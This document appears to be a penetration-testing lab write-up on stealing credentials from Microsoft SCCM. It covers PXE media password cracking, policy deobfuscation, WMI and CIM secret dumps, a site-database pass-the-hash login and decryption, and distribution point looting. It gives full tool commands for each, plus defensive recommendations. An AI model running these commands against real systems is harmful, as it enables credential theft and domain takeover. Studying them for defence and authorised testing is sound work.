SCCM - Cred

SCCM Credential Techniques

CRED-1 - Retrieve secrets from PXE boot media

CRED-1 documentation

To Summarize how PXE works in SCCM:

  1. PXE client gets an IP from DHCP server
  2. Client sends new DHCPREQUEST to DP, DP responds with DHCPACK that contains the BootFileName
  3. Client starts TFTP session targeting the boot file
  4. Client downloads the network boot program (NBP)
  5. NBP downloads the operating system loader and boot files
  6. The WinPE image is loaded into a RAMDISK in memory
  7. WinPE boots, loading a task sequence (TS) boot shell, TS manager boot strap (TsPxe.dll)
  8. TS environment variables and a client certificate are downloaded via TFTP
  9. TSPXE locates the MP and downloads policy assignments
  10. Collection and machine variables are downloaded

This process can be abused because the files and policies can be accessed without booting the PXE media. By initiating the DHCPDISCOVER request, an attacker can locate the PXE media on the network, or they can contact a PXE-enabled DP directly if they know its name or IP address. If the PXE media stored there is password-protected, the hash can be retrieved and cracked offline using hashcat and this custom module. Once the media file is decrypted, it may contain or be used to obtain the NAA, TaskSequences, and CollectionSettings (collection variables) policies.

This attacks requires:

  • Line of sight to DHCP server (optional, but helps)
  • Line of sight to PXE-enabled distribution point

1. Exploit PXE without password:

Use PXEthief (the Linux fork) to coerce PXE Boot against a specific distribution point server.

python3 pxethief.py 2 SCCM-DISTRO.ludus.domain

PXEthief Output 1 PXEthief Output 2

In the screenshot you can see that we did not only retrieve the NAA credentials but also domain admin credentials from the Deploy-OS task sequence. Below shows where this is defined from the console:

PXE console

Or use the limited Linux version of the tool. If it retrieves and decrypts the variable file, you will still need to run the SharpSCCM.exe command from Windows.

python3 pxethiefy.py explore -i eth0 -a SCCM-DISTRO.ludus.domain

Pxethiefy Explore Output

The commands fail if there is no boot.var file in the following share on the distribution point: \IP\REMINST\SmsTemp\ID.boot.var

2. Exploit PXE with password

Pxethiefy retrieves the files and hash (this is a separate step in PXEthief):

python3 pxethiefy.py explore -i eth0 -a SCCM-DISTRO.ludus.domain

Pxethiefy Password Output

With PXEthief (from linux):

python3 pxethief.py 2 SCCM-DISTRO.ludus.domain

PXEthief Password Output

Then get the hash with option 5:

python3 pxethief.py 5 '2025.03.15.00.42.02.0001.{980A323F-C56A-40BD-BBDC-0E713E2484F1}.boot.var'

PXEthief Hash Output

Next, download hashcat, the custom hashcat module, switch to version 6.2.5 and build:

git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
git checkout -b v6.2.5 tags/v6.2.5
make

Crack the hash:

./hashcat -m 19850 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Hashcat Output

After cracking the hash, you can decrypt it with pxethiefy but it requires SharpSCCM.exe again to actually get the secrets:

python3 pxethiefy.py decrypt -p "Password123" -f "2025.03.15.00.42.02.0001.{980A323F-C56A-40BD-BBDC-0E713E2484F1}.boot.var"

Pxethiefy Decrypt Output

You can do this in a single step with PXEthief option 3:

python3 pxethief.py 3 "2025.03.15.00.42.02.0001.{980A323F-C56A-40BD-BBDC-0E713E2484F1}.boot.var" Password123

PXEthief Single Step Output

Recommendation:

Go to Distribution Points > Any distribution point > Properties > set a PXE password and make sure it is strong because even if there is a password it can still be retrieved and cracked.

PXE Password Setting


CRED-2 - Request computer policy and deobfuscate secrets

CRED-2 documentation

In environments using Active Directory defaults, SCCM defaults, and NAAs (or collection variables/task sequences containing credentials), any domain-authenticated user may create a computer object, register it as an SCCM client, request the machine policy, and deobfuscate credentials.

For more details see the original research: https://blog.xpnsec.com/unobfuscating-network-access-accounts/

For more attacks on SCCM policy secrets see:

To get NAA credentials we can use sccmhunter to automatically create a computer account, register it as a SCCM client and then request the NAAconfig policy:

sccmhunter.py http -u domainuser -p password -d ludus.domain -dc-ip 10.2.10.10 -auto

SCCMHunter Auto Output

If we already have a computer account we can use the -cn and -cp options:

sccmhunter.py http -u domainuser -p password -d ludus.domain -dc-ip 10.2.10.10 -cn DESKTOP-WGTRHQEL$ -cp bDbUJgJaFmRN 

SCCMHunter CN Output

If you get errors like 'NoneType' object has no attribute split, try to manually request the policy, see https://github.com/garrettfoster13/sccmhunter/wiki/http#description

The same technique is also possible with SCCMSecrets.py (first create a computer account in the domain):

impacket-addcomputer -computer-name 'approval$' -computer-pass 'approvalaccount' 'ludus.domain/domainuser:password' -dc-ip 10.2.10.10
python3 SCCMSecrets.py policies -mp http://sccm-mgmt.ludus.domain -u 'approval$' -p 'approvalaccount' -cn 'hackdefense-compacc'

SCCMSecrets Policies Output

This registers a SCCM client, so you will have to inform the client to clean this up.

Recommendation:

First, identify whether your SCCM environment is utilizing a Network Access Account (NAA). Follow Microsoft's guidance by switching to Enhanced HTTP. However, enhanced HTTP will not have an impact if the NAA credential blobs remain valid. Once you've phased out NAAs, proceed with disabling or deleting the NAA accounts in Active Directory.


CRED-3 and CRED-4 - Dump currently deployed secrets via WMI & Retrieve legacy secrets from the CIM repository

CRED-3 documentation

CRED-4 documentation

It is possible to extract NAA credentials, collection variables and tasks sequences credentials from a client (you need local admin for this).

It is common to see the Network Access Account (NAA) as part of Domain Admins or with the SCCM permissions Full Administrator or Infrastructure Administrator. If an attacker gains control of any primary site, they gain control of the entire SCCM hierarchy. See this blog about that: https://posts.specterops.io/sccm-hierarchy-takeover-41929c61e087

You can extract SCCM secrets from:

  • WMI repository on a client (-wmi in sccmhunter) > CRED-3
  • Disk (OBJECTS.DATA) on a client, useful for accessing potentially changed or deleted secrets (-disk in sccmhunter) > CRED-4

For more info see: https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9

With sccmhunter you can check CRED-3 and CRED-4 with the -both parameter:

sccmhunter.py dpapi -u domainadmin -p password -target 10.2.10.11 -both

SCCMHunter DPAPI Output

Or with dploot (CRED-3 and CRED-4):

dploot sccm -d ludus.domain -u domainadmin -p 'password' -t 10.2.10.11
dploot sccm -d ludus.domain -u domainadmin -p 'password' -t 10.2.10.11 -wmi

Dploot SCCM Output

Or with netexec --sccm but not always consistent and I don't think this extracts from both locations:

netexec smb 10.2.10.11 -u domainadmin -p password --sccm

NetExec SCCM Output

Recommendation:

First, identify whether your SCCM environment is utilizing a Network Access Account (NAA). Follow Microsoft's guidance by switching to Enhanced HTTP. However, enhanced HTTP will not have an impact if the NAA credential blobs remain valid. Once you've phased out NAAs, proceed with disabling or deleting the NAA accounts in Active Directory.


CRED-5 - Dump credentials from the site database

CRED-5 documentation

If an attacker can compromise the primary site server, they can recover plaintext credentials for any account stored in the site database. NAA, push accounts, DA's etc. All of these credentials are stored in the SC_UserAccount table in the site MSSQL database as hex-encoded, encrypted blobs. The secrets in this table are encrypted with an RSA private key which is stored in the "Microsoft Systems Management Server" cryptographic service provider (CSP) container on the primary site server for the site the account was added to.

For example, if there are two primary sites, PS1 and PS2, and a network access account was added to PS1, the credentials can be decrypted by the primary site server for PS1, but not the site server for PS2. The site server computer account is granted the sysadmin role on the site database. Therefore, it is possible to query the SC_UserAccount table for usernames and passwords and decrypt the blobs using this private key.

You can perform this attack after Exec-1 or 2.

Alternatively, it is now also possible to directly perform this attack after having escalated your privilleges (to Full Administrator) in a Takeover attack, see CRED-5.1 - Dump credentials via the administration Service API.

If you have local admin on the site server (from Exec 1 or 2), you can get its computer account NTLM:

impacket-secretsdump ludus.domain/mike:'password!'@10.2.10.15

Secretsdump Output

Use the site server computer account NTLM to login to the site database (MSSQL):

impacket-mssqlclient -windows-auth -hashes :9e1762e7e18826fa764ec54e1858fb0d 'ludus.domain/SCCM-SITESRV$'@10.2.10.13
 
use CM_`<the site code>`;
SELECT * FROM SC_UserAccount;

MSSQL Query Output

Decrypt on the site server in the context of a member of the local Administrators (you have this, if you can do Exec-1 or 2). Easiest is probably to just RDP but you can also use WinRM etc (you cannot decrypt this on your own Windows VM):

Download:

curl https://gist.githubusercontent.com/xpn/5f497d2725a041922c427c3aaa3b37d1/raw/f3cc19a7a834adc9676983def23f2a1b43221b42/sccmdecryptpoc.cs -O sccmdecryptpoc.cs

Compile (check if 3.5 or something else is installed in C:\windows\Microsoft.NET\Framework64\VERSION>):

C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe /t:exe /out:sccmdecryptpoc.exe sccmdecryptpoc.cs

Then decrypt all the password blobs from the database:

.\sccmdecryptpoc.exe <blob>

SCCMDecrypt Output

Or from WinRM:

evil-winrm -i 10.2.10.15 -u mike -p password!

Evil-WinRM Output

Then try these accounts/passwords against other systems. It is very likely that one of these leads to/already is DA.

CRED-5.1 - Dump credentials via administration Service API

The original blog post about this is: https://specterops.io/blog/2025/03/06/decrypting-the-forest-from-the-trees/

After having escalated your privilleges (to Full Administrator) in a Takeover attack, you can use the Admin module from sccmhunter to dump the credential blobs from the site database:

sccmhunter.py admin -u mike -p password123 -ip 10.2.10.15
 
get_creds

Credential blobs from site database

Next, we use the same commands shown in RECON-4 and 5 to get the name and ID of the site server and interact with it.

Then you can use the new command decrypt to decrypt any of the credential blobs, using the Exec-2 technique. You may need a secondary account for script approval (this can be a computer account), see the Exec-2 section. The site server needs to be a managed client for this.

get_device <name of the site server>
interact <resourceId of the site server>
decrypt <blob>

Interact and decrypt fail

In our case it fails because no secondary account was specified (see Exec-2 on how to add this). Using a seconday approval account works and we manage to retrieve the password for the NAA acccount:

sccmhunter.py admin -u mike -p password123 -ip 10.2.10.15 -au 'approval$' -ap 'approvalaccount' -debug
 
interact <resourceId of the site server>
decrypt <blob>

Interact and decrypt success

Recommendation:

There isn't much you can do against this. If you can get local admin access to a site server there are already multiple things going wrong in the environment.


CRED-6 - Loot domain credentials, SSH keys, and more from SCCM Distribution Points (DP)

CRED-6 documentation

In the sccmsecrets blog this is: Unauthenticated – Anonymous distribution point access enabled

A distribution point (DPs) is a server role used by SCCM to host the various files used in software installs, patches, script deployments, etc. By default, these servers allow access via SMB (TCP/445) and HTTP/S (TCP/80 and/or TCP/443) and require some type of Windows authentication (i.e. NTLM).

If anonymous authentication (no credentials required) is enabled, an attacker can dump the DP files and analyze its contents for valid credentials. NTLM relaying is still possible under proper conditions. If authentication is required: An internal attacker can use existing credentials to authenticate to the SMB/HTTP services to loot the Distribution Points.

Retrieve Distribution Point files without providing credentials. This will attempt to exploit anonymous DP access (non-default configuration). By default it looks for files with .ps1, .bat, .xml, .txt, .pfx extensions:

python3 SCCMSecrets.py files -dp http://SCCM-DISTRO.ludus.domain

SCCMSecrets Files Output

If anonymous DP access is not enabled, retrieve the files with domain credentials:

python3 SCCMSecrets.py files -dp http://SCCM-DISTRO.ludus.domain -u domainuser -p password

SCCMSecrets Auth Files Output

Or use sccm-http-looter (try with -use-signature-method if directory listing is disabled):

./sccm-http-looter -server SCCM-DISTRO.ludus.domain

cmloot (https://github.com/shelltrail/cmloot) does the same as these tools but uses SMB instead of HTTP. It's more likely that SMB is restricted than HTTP.

Recommendation:

Disable "Allow clients to connect anonymously" in SCCM console > Administration > Distribution Points, right-clicking on the target item > Properties > Communication tab.